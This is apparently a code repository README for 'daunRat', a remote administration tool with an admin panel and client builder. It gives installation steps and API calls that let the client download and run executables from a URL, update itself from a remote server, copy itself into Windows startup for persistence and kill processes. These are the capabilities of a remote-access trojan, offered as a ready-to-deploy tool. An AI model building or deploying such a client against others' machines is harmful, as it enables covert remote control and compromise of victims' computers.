2022-05-31 16:35:09 +03:00
2022-05-29 17:27:29 +03:00
2022-04-17 18:35:59 +03:00
2022-05-29 17:27:29 +03:00
2022-05-31 16:35:09 +03:00
2022-05-31 15:58:22 +03:00

daunRat

Remote administration tool based on daun

Installation:

Install git and python3

git clone https://github.com/BarsTiger/daunRat --recurse-submodules
cd daunRat
python configure.py

Use admin\dist\daunRat_admin.exe or shortcut to run admin.

Use cd client & venv\Scripts\python.exe builder.py & cd .. or shortcut to run builder. It will install curses and exit with error code first time, use command one time more.

Global installation without building exes:

git clone https://github.com/BarsTiger/daunRat --recurse-submodules
cd daunRat
pip install -r requirements.txt
python -m venv client/venv
cd client
venv\Scripts\activate
pip install -r requirements.txt
venv\Scripts\deactivate
cd ..

Use cd admin & python daunRat_admin.py & cd .. to run admin.

Use cd client & python builder.py & cd .. to run builder. It will install curses and exit with error code first time, use command one time more.

Using daunRat api in Python section:

You can use these libs by default:

subprocess
sys
os
time
daun
daunrat

daun is imported modules folder from daun, you can use code from it, for example:

daun.wallpaper.set_wallpaper("path/to/image.jpg")
daun.set_wallpaper("path/to/image.jpg")
daun.download("https://example.com/file.exe")
daun.process.kill("process_name")
daun.kill("process_name")
...

daunrat is imported selfutil.py from daunRat modules. It contains some useful functions for administering daunRat. For example we built daunRat and renamed it to client.exe:

# If you need to redownload daunRat from server and run it with stopping 
# old version, use this:
daunrat.upgrade(url="https://example.com/new_client.exe", old="client.exe", 
                destination="client.exe", command="client.exe")

# If you need to restart daunRat, use this:
daunrat.restart("client.exe")

# If you need to add daunRat to startup, use this:
daunrat.startup(startupname="client")
# Or to copy daunRat to other folder before:
daunrat.startup(startupname="client", 
                copy_from="client.exe", copy_to="c:\client.exe")

Also, you can use log function to send logs to admin, pusher and pysher client and receiver.

Adding custom commands and imports:

You can add custom code to custom_imports.py file. If you need to add libs, that are installed with pip, use this:

cd client
venv\Scripts\activate
pip install module_name
venv\Scripts\deactivate
cd ..

custom_imports.py:

import module_name
Description
No description provided
Readme 337 KiB
Languages
Python 100%